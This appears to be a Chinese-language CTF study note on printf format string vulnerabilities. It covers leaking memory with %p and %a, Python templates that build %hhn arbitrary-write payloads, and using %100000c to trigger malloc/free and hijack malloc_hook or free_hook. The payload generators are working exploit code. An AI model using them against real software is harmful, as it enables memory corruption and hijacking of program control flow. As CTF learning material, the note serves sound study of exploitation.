printf
著名的格式化字符串漏洞就不說啦~ printf
家族的函數都存在這個漏洞
printf, fprintf, dprintf, sprintf, snprintf, vprintf, vfprintf, vdprintf, vsprintf, vsnprintf
常用格式
格式符 | 用途 | 備註 |
---|---|---|
%p |
以指針格式輸出棧中變量的地址 | $ 用於指定位置參數,e.g.%13$p |
%s |
輸出棧中指針指向的字符串 | 若指針不合法則輸出(nil) |
%a |
以double格式輸出棧中變量 | 常見於printf_chk 泄漏libc ,詳見#1 |
%c |
以char格式輸出棧中變量 | 打印過多字符將調用malloc ,詳見#2 |
%n |
將已輸出的字符數保存到棧中指針 | 若指針不合法則報錯%n -4字節; %hn -2字節; %hhn -1字節 |
泄漏內存
%p
用於泄漏內存就不多說了
用%a
的時候要注意一下輸出格式的問題,比如有如下輸出:
0x0.07fcf47895ap-1022
由於是小數的形式打印的,變量末尾的0會被自動省略掉,需要手動還原一下:
0x07fcf4789500
任意寫
case1: buf足夠大
如果buf足夠大,可以考慮同時使用多個格式符,一次完成變量的修改。
下面是keer師傅的%hhn
大法可以快速完成任意寫,payload長度至少爲128
def fmt(data,addr,off):
arg0=(data)&0xff
arg1=(data&0xff00)>>8
arg2=(data&0xff0000)>>16
arg3=(data&0xff000000)>>24
arg4=(data&0xff00000000)>>32
arg5=(data&0xff0000000000)>>40
print arg0,arg1,arg2,arg3
# arg6=(data&0xf f000000000000)>>48
# arg7=(data&0xf f00000000000000)>>56
pay1='%'+str(arg0)+'c%'+str(off+10)+'$hhn'
pay2='%'+str( (arg1-arg0+0x100)%0x100)+'c%'+str(off+11)+'$hhn'
pay3='%'+str( (arg2-arg1+0x100)%0x100)+'c%'+str(off+12)+'$hhn'
pay4='%'+str( (arg3-arg2+0x100)%0x100)+'c%'+str(off+13)+'$hhn'
pay5='%'+str( (arg4-arg3+0x100)%0x100)+'c%'+str(off+14)+'$hhn'
pay6='%'+str( (arg5-arg4+0x100)%0x100)+'c%'+str(off+15)+'$hhn'
payload = pay1+pay2+pay3+pay4+pay5+pay6 # +'%100000c'
payload = payload.ljust(8*10,'A')
payload+= p64(addr)
payload+= p64(addr+1)
payload+= p64(addr+2)
payload+= p64(addr+3)
payload+= p64(addr+4)
payload+= p64(addr+5)
return payload
%hhn
一次寫1個字節,相當於是byte/char
型,最大範圍是0xff
,所以(arg1-arg0+0x100)%0x100
這樣的溢出寫法,可以在不排序的情況下準確覆蓋變量。
由於每次只改1字節,使用%hhn
快速完成任意寫,不足之處就是payload太長。
case2: buf不夠大
如果buf長度不夠,可以考慮重複利用printf
,多次攻擊完成變量的修改。
下面是藕自己寫的模板,payload長度最少是32
字節:
def alter_byte(addr,data):
if data==0:
payload = "%10$hhn"
else:
payload = "%%%dc%%10$hhn"%(data)
payload = payload.ljust(24,'T')
payload += p64(addr)
sl(payload)
return rc()
def alter_dw(addr,data):
alter_byte(addr,data&0xff)
alter_byte(addr+1,(data>>8)&0xff)
alter_byte(addr+2,(data>>16)&0xff)
alter_byte(addr+3,(data>>24)&0xff)
def alter_qw(addr,data):
alter_dw(addr,data)
alter_dw(addr+4,data>>32)
其中10是offset,用的時候改一下
觸發malloc/free
%100000c
表示在輸出字符時向左側填充空格,最終輸出長度爲100000
的字符串。當字符串長度過大的時候,printf
內部將調用malloc
申請空間作爲緩衝器,輸出結束後會free
掉這片空間。
利用方式:
- 篡改
malloc_hook
/free_hook
,使用%100000c
觸發malloc
/free
,劫持程序控制流 - 和堆相關利用結合,利用
printf
隱試調用malloc
此外,從原理上看
%100000s
,%10000d
等類似格式也可達到同樣效果。
練習題
-
eonew-easy_printf (根據Ex師傅平臺的要求就不公開wp了)
-
ACTF-chk_rop (printf_chk)
更新日期:2020年 04月 01日 星期三 23:05:56 CST